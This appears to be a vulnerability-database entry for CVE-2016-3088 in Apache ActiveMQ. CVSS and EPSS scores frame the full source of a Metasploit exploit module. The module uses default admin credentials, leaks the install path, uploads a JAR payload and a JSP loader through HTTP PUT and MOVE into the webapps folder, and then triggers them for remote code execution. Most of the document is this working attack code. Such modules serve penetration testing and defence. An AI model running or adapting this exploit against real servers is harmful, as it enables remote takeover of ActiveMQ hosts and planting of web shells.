9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.84 High
EPSS
Percentile
98.4%
The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'ActiveMQ web shell upload',
'Description' => %q(
The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0
allows remote attackers to upload and execute arbitrary files via an
HTTP PUT followed by an HTTP MOVE request.
),
'Author' => [ 'Ian Anderson <andrsn84[at]gmail.com>', 'Hillary Benson <1n7r1gu3[at]gmail.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-3088' ],
[ 'URL', 'http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt' ]
],
'Privileged' => true,
'Platform' => %w{ java linux win },
'Targets' =>
[
[ 'Java Universal',
{
'Platform' => 'java',
'Arch' => ARCH_JAVA
}
],
[ 'Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
[ 'Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
]
],
'DisclosureDate' => '2016-06-01',
'DefaultTarget' => 0))
register_options(
[
OptString.new('BasicAuthUser', [ true, 'The username to authenticate as', 'admin' ]),
OptString.new('BasicAuthPass', [ true, 'The password for the specified username', 'admin' ]),
OptString.new('JSP', [ false, 'JSP name to use, excluding the .jsp extension (default: random)', nil ]),
OptString.new('AutoCleanup', [ false, 'Remove web shells after callback is received', 'true' ]),
Opt::RPORT(8161)
])
register_advanced_options(
[
OptString.new('UploadPath', [false, 'Custom directory into which web shells are uploaded', nil])
])
end
def jsp_text(payload_name)
%{
<%@ page import="java.io.*"
%><%@ page import="java.net.*"
%><%
URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("./#{payload_name}.jar")).toURI().toURL()});
Class c = cl.loadClass("metasploit.Payload");
c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});
%>}
end
def exploit
jar_payload = payload.encoded_jar.pack
payload_name = datastore['JSP'] || rand_text_alpha(8 + rand(8))
host = "#{datastore['RHOST']}:#{datastore['RPORT']}"
@url = datastore['SSL'] ? "https://#{host}" : "http://#{host}"
paths = get_upload_paths
paths.each do |path|
if try_upload(path, jar_payload, payload_name)
break handler if trigger_payload(payload_name)
print_error('Unable to trigger payload')
end
end
end
def try_upload(path, jar_payload, payload_name)
['.jar', '.jsp'].each do |ext|
file_name = payload_name + ext
data = ext == '.jsp' ? jsp_text(payload_name) : jar_payload
move_headers = { 'Destination' => "#{@url}/#{path}/#{file_name}" }
upload_uri = normalize_uri('fileserver', file_name)
print_status("Uploading #{move_headers['Destination']}")
register_files_for_cleanup "#{path}/#{file_name}" if datastore['AutoCleanup'].casecmp('true')
return error_out unless send_request('PUT', upload_uri, 204, 'data' => data) &&
send_request('MOVE', upload_uri, 204, 'headers' => move_headers)
@trigger_resource = /webapps(.*)/.match(path)[1]
end
true
end
def get_upload_paths
base_path = "#{get_install_path}/webapps"
custom_path = datastore['UploadPath']
return [normalize_uri(base_path, custom_path)] unless custom_path.nil?
[ "#{base_path}/api/", "#{base_path}/admin/" ]
end
def get_install_path
properties_page = send_request('GET', "#{@url}/admin/test/")
fail_with(Failure::UnexpectedReply, 'Target did not respond with 200 OK to a request to /admin/test/!') if properties_page == false
properties_page = properties_page.body
match = properties_page.match(/activemq\.home=([^,}]+)/)
return match[1] unless match.nil?
end
def send_request(method, uri, expected_response = 200, opts = {})
opts['headers'] ||= {}
opts['headers']['Authorization'] = basic_auth(datastore['BasicAuthUser'], datastore['BasicAuthPass'])
opts['headers']['Connection'] = 'close'
r = send_request_cgi(
{
'method' => method,
'uri' => uri
}.merge(opts)
)
if r.nil?
fail_with(Failure::Unreachable, 'Could not reach the target!')
end
return false if expected_response != r.code.to_i
r
end
def trigger_payload(payload_name)
send_request('POST', @url + @trigger_resource + payload_name + '.jsp')
end
def error_out
print_error('Upload failed')
@trigger_resource = nil
false
end
end
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.84 High
EPSS
Percentile
98.4%